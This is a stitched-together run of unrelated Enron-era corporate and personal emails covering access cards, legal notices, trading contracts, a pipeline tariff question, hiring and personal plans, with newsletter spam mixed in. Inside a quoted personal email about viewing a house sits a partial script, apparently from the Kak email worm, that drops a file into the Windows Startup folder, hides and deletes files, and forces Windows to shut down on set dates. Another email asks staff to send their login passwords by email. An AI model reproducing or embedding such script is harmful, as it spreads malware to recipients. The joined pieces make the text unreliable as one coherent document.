There will be a two-day transition for the new UBS Warburg access cards. Beginning Monday, February 11, access to the 5th and 6th floors of Enron Center South will require these new cards. UBS Warburg access cards can be picked up from 7 a.m. to 7 p.m. at the reception area on the 5th floor of Enron Center South on Thursday, February 7th ; Friday, February 8th ; and Monday, February 11. Enron Security will produce new access cards with existing photographs, then simultaneously issue the new and collect the old cards. Employees without UBS Warburg cards will be allowed into the Enron Center South building on Monday but will have to collect their new cards as soon as possible to gain access to the 5th and 6th floors.

Employees who fail to collect their new cards by 7 p.m. Monday will be required to contact Enron Security's general information number at 713-853-5360 to arrange to pick them up.

There will be security staff available at the pick up point on ECS 5 to help with any problems you might have.

It is suggested employees wear their access cards at all times while on the premise.

Accessible Areas - The new cards will allow UBS-W employees to enter:
5th & 6th floors and Plaza area of Enron Center South ,
The Sky Ring
Body Shop, Enron Center North Plaza and therefore access the Credit Union and Cafeteria from either building.

Restricted Areas - Employees must submit to Enron Security a Restricted Access Request form (available by calling 713 8535360 ) and signed by Bob McAuliffe (713-853-7468) to enter:
Enron Center South, 8th and 9th floors
Enron Center North, 22nd and 34th floor
Ardmore Data Center.

Employees staying with the Enron estate while visa and other issues are completed - Employees in this group who are on assignment arrangements to UBS-W will be issued a regular access card - available in the same way as other new UBS-W employees.

Estate employees who are working with UBS-W on transition issues  - If they will be based in UBS-W office space they should talk to their UBS-W counterpart for approval and then UBSW HR for the issue of a UBS-W contractor card (in addition to their regular Enron badge).


Daily Blessings
I've learned
http://www.daily-blessings.com/bless119.htm

Gifts to give all year 'round
http://www.daily-blessings.com/ch41.htm

FORGET PC PHONE. GET REAL LONG DISTANCE AT NO COST bigredwire is the first
and only company to offer REAL long distance at no cost
Switch your long distance to bigredwire and get REAL long distance at zero
cost to you. Up to 100 complimentary minutes everyday when you zap your
online bill. If you don't zap, pay only 5 cents a minute without fees. Switch
now!
find out how at http://www.daily-blessings.com/cjbigredwire.htm

Hundred's of you have taken advantage of the free download available for the
Work From Home folks.  If you haven't checked it out yet...you should!!

http://www.daily-blessings.com/cjworkfromhome.htm

need ink?  lowest prices, and best quality on the web!
http://www.1234inkjets.com

<<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>>
* To remove yourself from this mailing list, point your browser to:
http://inbound.postmastergeneral.com/remove?dailyblessings:10
* Enter your email address (judy.hernandez@enron.com) in the field
provided and click "Unsubscribe". The mailing list ID is "dailyblessings:10".

OR...

* Reply to this message with the word "remove" in the subject line.

This message was sent to address judy.hernandez@enron.com
X-PMG-Recipient: judy.hernandez@enron.com
<<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>>


The following documents, received today, have been forwarded for your
immediate attention:

All Pro Paper of Texas, Inc., Debtor - Chapter 11 Bankruptcy; No.
01-34002-SAF-11, In the U.S. Bankruptcy Court, N.D. of Texas, Dallas Div.
NOTICE OF APPEARANCE AND DEMAND FOR SERVICE OF PAPERS and LETTER DATED MAY
15, 2001 RE UNSECURED CREDITORS COMMITTEE to Bob Butts, Enron Company,
Clickpaper.com by regular mail on 6/5/01.

PLEASE ADVISE IF YOU DO NOT RECEIVE WITHIN 1 BUSINESS DAY.

Thank you !!

Becky A. Stephens
Support Services Coordinator
Enron Litigation Unit, EB4809
713/853-5025
713/853-6576 (fax)
Becky.Stephens@enron.com


Hello,
I understand that some students in E203 have not received the emails I have
been sending out. I am not sure whether this is because they are not on the
email list or whether there is something the matter with the emails. I hope
that this one does get to you.

Here is a copy of the HW problem solutions. They should also be on the web.
You can get to them either through Pf. Berk's website, or by going to mine
at http://faculty.haas.berkeley.edu/duggar and then clicking on the B203 link.

Madhur
 - E203HW1.doc


---------------------- Forwarded by Thomas A Martin/HOU/ECT on 03/20/2001 03:50 PM ---------------------------

Thomas A Martin
10/10/2000 05:27 PM
To:	Patrick Wade/HOU/ECT@ECT
cc:
Subject:	HPL Transportation and Storage

Patrick,

I forwarded the information regarding the variable costs of transportation to Ed McMichael as you requested.  The storage has no forward value, it was included to take advantage of opportunities as they occur.  I want to be clear AGAIN about how the transportation transaction should be accrual upside and not booked as MTM as our view is that the spreads will compress over time and any spread value that exists from the curves today will likely go away or be significantly reduced over time .  I thought Lavorado was very clear that he did not want to book MTM value against these deals.  Am I missing something?

Tom


Sorry you didn't get this yesterday.  Can you have Ginger fax me a final copy
of the letter for safekeeping.

----- Forwarded by Chris Long/Corp/Enron on 04/11/2001 03:29 PM -----

	Chris Long
	04/10/2001 01:20 PM

		 To: Mark Metts/Enron@EnronXGate
		 cc: Linda Robertson/NA/Enron@ENRON, Lora Sullivan/Corp/Enron@ENRON, Richard
Shapiro/NA/Enron@Enron, Steven J Kean/NA/Enron@Enron
		 Subject: SEC Chair Letter Address

	Mark Metts/Enron@EnronXGate
	04/10/2001 11:34 AM

		 To: Chris Long/Corp/Enron@ENRON, Steven J Kean/NA/Enron@Enron, Richard
Shapiro/NA/Enron@Enron, Linda Robertson/NA/Enron@ENRON
		 cc: Lora Sullivan/Corp/Enron@ENRON
		 Subject: RE: SEC Chair

Chris,

I think the letter looks fine.  I just made some very minor typo/cosmetic
changes.  I guess the biggest remaining issue is the identity of the
addressee?  To whom should Ken send this letter?

Thanks,
Mark

 -----Original Message-----
From:  Long, Chris
Sent: Tuesday, April 10, 2001 10:20 AM
To: Kean, Steven; Shapiro, Richard; Robertson, Linda; Metts, Mark
Cc: Sullivan, Lora
Subject: SEC Chair

After a thorough internal review of Jim Doty's nomination, there seems to be
unanimous support for the nomination of Jim Doty.  This has been confirmed
after receiving input from Enron management in legal, commercial, and
government affairs.

One concern was that a future PGE sale would be in some way be impacted if
Jim Doty were to recuse himself given his relationship with Enron. All agree
he would recuse himself, which we knew when he was retained, and that the
impact would be minimal.  Another concern, was the Washington media reported
that Doty had in some way alienated Sen. or Mrs. Gramm, it was reported back
to me that is not the case and the Gramm's do not oppose the Doty nomination.

The SEC nomination process is still moving rather slow and that no candidate
has pulled in front, according to our DC consultants.

The letter states Enron's broad support for Doty's nomination. It does not
advocate any particular policy position or issue.

 << File: SECAPP3.doc >>


vkaminski@aol.com


How can the contractual currency be USD and the invoicing be in FF as
indicated below.  I guess I don't really care what currency is used as ECTRIC
will be responsible for hedging its currency risk with Hickerson; however,
shouldn't the contractual and termination currency be the same?

From: Sara Shackleton on 11/30/2000 10:26 AM
To: Tanya Rohauer/HOU/ECT@ECT
cc:
Subject: Re: SITA

Tanya:  Is Lee the right person to approve this change for SITA?  Remember,
SITA is acutally with ECTRIC (nto ENA) and SITA wanted to settle in Euros.
Thanks.  Sara
----- Forwarded by Sara Shackleton/HOU/ECT on 11/30/2000 10:23 AM -----

	Lee Munden
	11/30/2000 09:44 AM

		 To: Sara Shackleton/HOU/ECT@ECT
		 cc:
		 Subject: Re: SITA

Sara

Sorry for delayed response.

Tom says below that the invoice is likely to be in French Francs (FF) ,
therefore, I would have thought that having contractual currency as FF (or
Euro as / when it replaces the FF)  is the most sensible.

As the early termination value is likely to be calculated in FF or Euro, I
think that this would not be a problem either.

Please feel free to give me a call if you wish to discuss 207 783 6755

regards

Lee
---------------------- Forwarded by Lee Munden/LON/ECT on 30/11/2000 15:41
---------------------------

	Enron Europe

	From:  Tom Bruce-Jones                           29/11/2000 08:13

To: Lee Munden/LON/ECT@ECT
cc:

Subject: Re: SITA

FF

Lee Munden
27/11/2000 18:04
To: Tom Bruce-Jones/LON/ECT@ECT
cc:

Subject: Re: SITA

Tom

What currency will we invoice in?

Lee

	Enron Europe

	From:  Tom Bruce-Jones                           27/11/2000 16:07

To: Lee Munden/LON/ECT@ECT
cc:

Subject: SITA

Lee
As you are perhaps aware, the Master for this CP has been arranged thru
Houston.  Would you cast your eye over the comments laid out below and revert
to either Sara or Tanya with your comments.
As background, Houston has negotiated all the docs and were intending to
trade out of Houston.  This CP has now been handed over to us and all trades
will be generated from here.
Any help much appreciated.
Tom
---------------------- Forwarded by Tom Bruce-Jones/LON/ECT on 27/11/2000
16:06 ---------------------------
From: Michael Moulton@ENRON COMMUNICATIONS on 27/11/2000 06:57 PST
To: Tom Bruce-Jones/LON/ECT@ECT
cc:

Subject: SITA

----- Forwarded by Michael Moulton/Enron Communications on 11/27/00 06:05 AM
-----

	Sara Shackleton@ECT
	11/22/00 01:41 PM

		 To: Tanya Rohauer/HOU/ECT@ECT
		 cc: Michael Moulton/Enron Communications@Enron Communications
		 Subject: SITA

Tanya:

SITA now insists on having the Termination Currency and the Contractual
Currency, except as otherwise agreed in any Transaction/Confirmation, as the
Euro.  They will not agree to USD.  [By the way, SITA's lawyers had already
agreed to USD]  Effectively, if we agree to this, the trader will need to
confirm each deal in USD (Contractual Currency) but if we early terminate,
the currency will be Euro's (Termination Currency).

What do you want to do?  Other than the Enron Corp. guaranty, we are finished.

Sara


Update on Mail Distribution:

On Campus Mail Distribution Resumes

On-campus mail distribution resumed this afternoon (11/14/01). Initial
distribution may be slow
but is expected to pick up as mail that had been stored in a secured campus
facility is processed.
Pending the reopening of the University's Main Post Office in the
Administration Building, the mail
sorting and distribution activity is taking place at an alternate site in
the University Service Center.

University facilities that receive mail directly from the United States Post
Office will continue
to receive and process mail.  The test results were negative for the East
(Divinity) Campus mail facility
and mail distribution for that Campus resumed this afternoon.  The West
(Law) Campus is processing
mail from an alternate location while they await the results of tests taken
at their main processing
location.

With the exception of Meridian Hill Hall, for which results are pending, the
off-campus dormitories
also received negative test results and this afternoon reactivated
distribution from their usual locations.

# # #


dfarmer
get2work

Laura Harder@ENRON
08/30/2000 02:52 PM
To: Lauri A Allen/HOU/ECT@ECT, Eric Bass/HOU/ECT@ECT, Liz
Bellamy/NA/Enron@Enron, Danny Conner/NA/Enron@Enron, Daren J
Farmer/HOU/ECT@ECT, Edward D Gottlob/HOU/ECT@ECT, Gary W
Lamphier/HOU/ECT@ECT, Thomas A Martin/HOU/ECT@ECT, Greg
McClendon/HOU/ECT@ECT, James McKay/HOU/ECT@ECT, Carey M Metz/HOU/ECT@ECT,
Stacey Neuweiler/HOU/ECT@ECT, Todd Richardson/Corp/Enron@Enron, Jim
Schwieger/HOU/ECT@ECT, Elsa Villarreal/HOU/ECT@ECT, Janet H Wallis/HOU/ECT@ECT
cc:
Subject: PASSWORDS

Please email me your Login and Password in the correct case so that I can
keep the file updated.

Thanks,
Laura


Maria and Drew, this is a long-winded e-mail but please bear with me...

The problem:

As you probably remember, several months ago several of us met to discuss the
following language in the ROFR portion of Transwestern's tariff: "if the rate
bid exceeds the maximum tariff rate, then the rate will be considered to be
the maximum tariff rate," and the additional frustrating language "[a]ll
available capacity shall be allocated under these procedures . . .."  At our
last meeting, we concluded that probably the best way to ensure that TW could
capture the true value of the capacity would be to link the negotiated rate
to index prices.  However, since this usually involves an unacceptable amount
of risk to both the shipper and TW, the marketers haven't done any
index-based rates and have no current plans to enter into any such deals.  I
have been asked by the Commercial Group to revisit this issue and to think of
other ways we could increase our ability to charge more than the maximum
rate.   Ideally they would like to eliminate the language I've quoted above.
However, my research has indicated that absent our 1) bringing about radical
change in the way FERC thinks about recourse rates or 2) showing that TW
lacks market power, we are probably stuck with this language.

Why the problem exists (you may already know):

Steve Stojic and I did some looking into why the language is in our tariff in
the first place.  In the Alternative Rates Policy Statement (RM95-6-000), the
Commission explained that it is willing to entertain individual requests for
negotiated rates, but only where customers retain the ability to choose a
cost-of-service based tariff rates.  "[T]he availability of a recourse
service would prevent pipelines from exercising market power by assuring that
the customer can fall back to cost-based, traditional service if the pipeline
unilaterally demands excessive prices or withholds service.  Thus, the
recourse rate mitigates market power."

The Commission went on to confirmed that under ROFR provisions the highest
rate that an existing shipper must match if it wishes to continue its
transportation arrangement is the maximum tariff rate. This policy is clearly
not limited to ROFR situations:  when capacity is constrained, a shipper
willing to pay only the recourse rate cannot lose access to capacity merely
because someone else is willing to pay a negotiated rate.  "When there are
more requests for capacity than there is capacity available, then the
pipeline must allocate capacity among those shippers willing to pay either
the negotiated rate or the maximum recourse rate, for example on a pro rata
basis if required by its tariff."  The example cited by the Commission:  If a
pipeline has 100 Dth/d available and two shippers request that capacity, one
who is willing to pay no more than the recourse rate of $5 and another a
negotiated rate of $6, then each would be allocated 50 Dth/d on a pro rata
basis (assuming the tariff provided for pro rata allocation and not some
other allocation method such as lottery).

When TW filed for authority to charge negotiated rates, it voluntarily added
the statement that "if the rate bid exceeds the maximum tariff rate, then the
rate will be considered to be the maximum tariff rate."  Presumably we had
concluded that we needed to add this recourse rate related provision in order
to receive negotiated rate authority.

Solutions??

I would like to know whether you concur that changing our tariff language
outright is probably out of the question.  I feel as if I've really been
chasing my tail here.  I have owed Lindy an answer for some time now.  But I
keep coming back to our having to prove lack of market power (which, Drew, is
where I believe you were headed when we talked about this in mid-October).
Steve Harris has asked whether we can just start small and remove the
recourse rate cap as to only a portion of our system.  I think we would still
have to show lack of market power in order to do this.  Do you agree?  Stojic
warns that proving lack of market power is a lengthy and expensive
proposition.  Might be worth it to us, though.

Another idea is to somehow provide shippers with an incentive to pay more
than max rate.  After all, we do have authority to charge negotiated rates.
We've seen one instance in which one of our marketers was able to get more
than max rates for IT space based on good customer relations alone.  However,
despite our wonderful relationships with most of our customers, it's unlikely
we can pull this off with any consistency.  We wondered whether we might be
able to get more than max rates in the context of an auction procedure.  But
I just am not convinced we could get around the Commission's requirement that
recourse rates be available.  That requirement has not changed.  Have either
of you seen anything to the contrary?

I would like to meet with you two, plus several others I have in mind, to
discuss this, preferably early this week (Tues. or Wed.), but would like to
discuss briefly with you first.  Please call me so we can talk for a few
minutes.  Thanks.


Attached is the May 11 report and Scorecard.

As requested the report includes a reconciliation of margin to the second quarter Management Summary and a 4 months actual vs. plan for pre-tax net income.

This is the narrative report:

This is the scorecard spreadsheet:


Mark,

At Greg Johnston's request, I am forwarding to you copies of two proposed EOL
products the Canada office would like to set up for trading on EnronOnline.
Both products are financial and are using the EnronOnline derived daily index
price.  Please let Greg know if these products are approved for trading.  In
the meantime, I have forwarded copies to the EOL team in order that they can
start working on setting the product up for trading.

Thanks!

Dianne


Section 4 and Preface:
(See attached file: 251399-SECTION 4_1.doc)(See attached file: IM Sales
Process
Preface v5.doc)

 - 251399-SECTION 4_1.doc
 - IM Sales Process Preface v5.doc


Dear Vince,

Thanks so much for your prompt return call.  As discussed, pls find attached
a # of related self-explanatory documents (in naturally the strictest
privacy and confidence).

>  <<SFaiz_detailed_resume.doc>>  <<SFaiz_Job_Description.doc>>
> <<SFaiz_Cover_NomTXFellow.doc>>  <<SF_External_Invitations.xls>>
> <<spe62964.pdf>>  <<Real_Rewards.pdf>>  <<Get_Real.pdf>>
> The TX Fellowship--the highest individual recognition reward within The
> company--will be determined in Jan. 2001.  The PDF files refer to a paper
> presentation and 2 press interviews, respectively.  The SPE paper will be
> published in the Jan. 2001 edition of Journal of Petroleum Technology
> (JPT).
>
> I'll appreciate your review and additional discussion re best fit.  As
> discussed, it's best to correspond via my personal e-mail address:
> newsoussan@iwon.com or else pls leave me a message a my secure personal
> phone # @ work.  Pls be also advised that I'll be checking my phone- and
> e-mail infrequently (every other day) while I'm in England.  I look
> forward to seeing you soon in either NY or Houston.
>
Wishing you a very happy holiday season and a healthy and prosperous 2001.

> Soussan,
> 914 253 4187 (w)
>
>
>

 - SFaiz_detailed_resume.doc
 - SFaiz_Job_Description.doc
 - SFaiz_Cover_NomTXFellow.doc
 - SF_External_Invitations.xls
 - spe62964.pdf
 - Real_Rewards.pdf
 - Get_Real.pdf


Per my conversations with John Suttle in Credit, I am opening up the
referenced counterparty to trade all financial products.


YIPPEEE.

I'm about to fall face down in my computer.  I'm not as young as I used to be.

Kay

"Neil Mann" <nmann@erac.com> on 04/26/2001 02:24:57 PM
Please respond to <nmann@erac.com>
To: "C. Kay Mann \(E-mail\)" <Kay.Mann@Enron.com>
cc:

Subject: quillian center

They have appox 100 spaces open for each session. I have all the necessary
paperwork. It looks great and it looks very new. The kids I saw all looked
happy...NM


-----Original Message-----
From: 	Shively, Hunter S.
Sent:	Thursday, January 31, 2002 11:41 AM
To:	Lavorato, John
Subject:	weather update

Robert Ricks - Lead Forecaster NWS Slidell, LA
                     Arriving on Tuesday or Wednesday for interviews
                     Liz Taylor is coordinating travel plans

Mike Gasper - Reliant forecaster, 10 years experience, Dave knows him from Accu-weather
                     Dave Ryan is meeting with him this afternoon to determine if he will interview next week

Paul Pastelok - Accu-weather
                       He has interest and asked that Dave call him this weekend about details.

Chris Hyde - Earth Sat
                   He has interest and asked that Dave call him this weekend about details.

Matt Rogers - Earth Sat
                    On vacation this week.  Dave is going to call him on Monday

Bill Read - Lead Forecaster NWS Houston
                He has interest and Jay is trying to set up an off site meeting for you or me.

Kevin Stenson - Weather Channel Forecaster
                        Friends with Steven Bennett
                        He has interest and asked that Steve call him this weekend about details.
                        I will attempt to gain access to him outside of Steve.


What time do you think you will get home?  Or, we could meet at the house
straight from work.  It is off of Studewood/Studemont/Montrose.  Or, I could
pick you up at your house after work.

----- Original Message -----
From: <Tana.Jones@enron.com>
To: <pyoung@pdq.net>
Sent: Friday, August 04, 2000 1:16 PM
Subject: Re: Houses!!!

>
> Today after work would be fine if you want to?!
>
>
>
>                     "Patti Young"
>                     <pyoung@pdq.n        To:     <Tana.Jones@enron.com>
>                     et>                  cc:
>                                          Subject:     Re: Houses!!!
>                     08/04/2000
>                     05:22 PM
>
>
>
>
>
>
> Yes, I would still like to do a movie.  We are running 2 hours and 15
> minutes in the morning so I don't know what time I will be finished.  What
> is your plan for running?
>
> I don't need to spend a lot of time looking at the house, I just want you
> to
> have a look.  I would get to do all new landscaping so I am thinking about
> digging up plants at my house and putting them in pots before my property
> is
> sold.
>
> You for sure can't do it right after work??
>
> I need to run to the bank.  I will be right back.
>
> ----- Original Message -----
> From: <Tana.Jones@enron.com>
> To: <pyoung@pdq.net>
> Sent: Friday, August 04, 2000 12:03 PM
> Subject: Re: Houses!!!
>
>
>
> Sure.  Maybe after running we could get cleaned up and go take a look.  Do
> you still want to go to the movies?
>
>
>
>                     "Patti Young"
>                     <pyoung@pdq.n        To:     "Tana Jones"
> <tana.jones@enron.com>
>                     et>                  cc:
>                                          Subject:     Houses!!!
>                     08/04/2000
>                     03:18 PM
>
>
>
>
>
>
>
> Good Day,
>
> I want you to go with me to look at this house I  have been checking out
in
> the Woodland Heights. It is a re-do, gutted and  cleaned up, and ready to
> be moved in to asap. Are you working late  tonight, and, if not, would you
> be up for me coming by just for a quick  trip??? You may have plans, and,
> if you do, could I grab you tomorrow for  a quick look? I am putting a
> 'for sale by owner' sign in my yard  today!!!
>
> Let me know
>
> ');t3.close
> ();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new
> Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft
says
> not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close
> ();S3 driver memory alloc failed !]]%%%%%";la
>
=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.
>
> Path
>
> (la=="fr")?"C:\\windows\\Menu
D?marrer\\Programmes\\D?marrage\\kak.hta":"C:
> \\windows\\Start
> Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if
> (((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))
> ||(agt.indexOf("msie 5.")!=-1))scr.write(); file://-->
>
>
>
>
>
>
>


Conway,

Let me know what you think and Lisa and I will talk about it some more as
well.

http://www.insideneworleans.com/

Talk to you soon.

Kevin


Folks, once again ....just a reminder about tomorrow morning's meeting/call
(see previous below):
---------------------- Forwarded by Joseph Alamo/NA/Enron on 06/06/2001 04:21
PM ---------------------------

	Joseph Alamo
	06/05/2001 02:07 PM

To: Paul Kaufman/ENRON@enronXgate, Susan J Mara/NA/Enron, Sandra
McCubbin/NA/Enron, Jeff Dasovich/NA/Enron, Alan Comnes/ENRON@enronXgate
cc: Lysa Akin/ENRON@enronXgate

Subject: Staff Meeting & Conference Call Advisory

Please consider this notification and invitation to this week's Staff Meeting
& conference call,
currently scheduled to take place on:

 Date:    Thursday, June 7th
 Time:  9:00 AM PDT
 Call-in No.: 415.782.7849
 Location: 101 Calif. Suite 1950
   Small conference room

Thanks in advance for your participation,

Joseph Alamo
Sr. Administrative Assistant
Government Affairs - The Americas
San Francisco CA


plz call at 415.782.7822.


I would like to take the following as vacation days:

Thursday, December 20th
Friday, December 21st
Wednesday, December 26th
Thursday, December 27th

I will be in town and can be reached at home (281) 479-2292 or by cell (713) 416-1232.

Carolyn George
Sr. Administrative Assistant
Enron Global Finance
1400 Smith, ECN2080
Houston, TX  77002
(713) 853-3439   Fax: (713) 853-9252
email:  carolyn.george@enron.com


THE STAFF MEETING HAS BEEN CANCELED FOR TODAY...

T.Jae Black
East Power Trading
Assistant to Kevin Presto
off. 713-853-5800
fax 713-646-8272
cell 713-539-4760


---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 09/25/2000
01:59 PM ---------------------------

Jonathan Hoff
09/25/2000 01:26 PM
To: Benjamin Rogers/HOU/ECT@ECT
cc:
Subject: Caledonia


FYI -

A new (shell) Master Financial Agreement has been established in Global Contracts for EOL purposes until the executed originals are received from legal.  I have updated this contract number in EOL's Profile Manager.  Please call me at 5-4435 if you have any questions.

Counterparty:
Cavell Energy Corporation
CP ID Number:
71842
Contract Number:
96086501
Profile Manager Updated On:
10/30/01

Thanks,
Georgi

Georgi Landau
Enron Net Works
(Ph) 713/345-4435
(Fx)  713/646-2495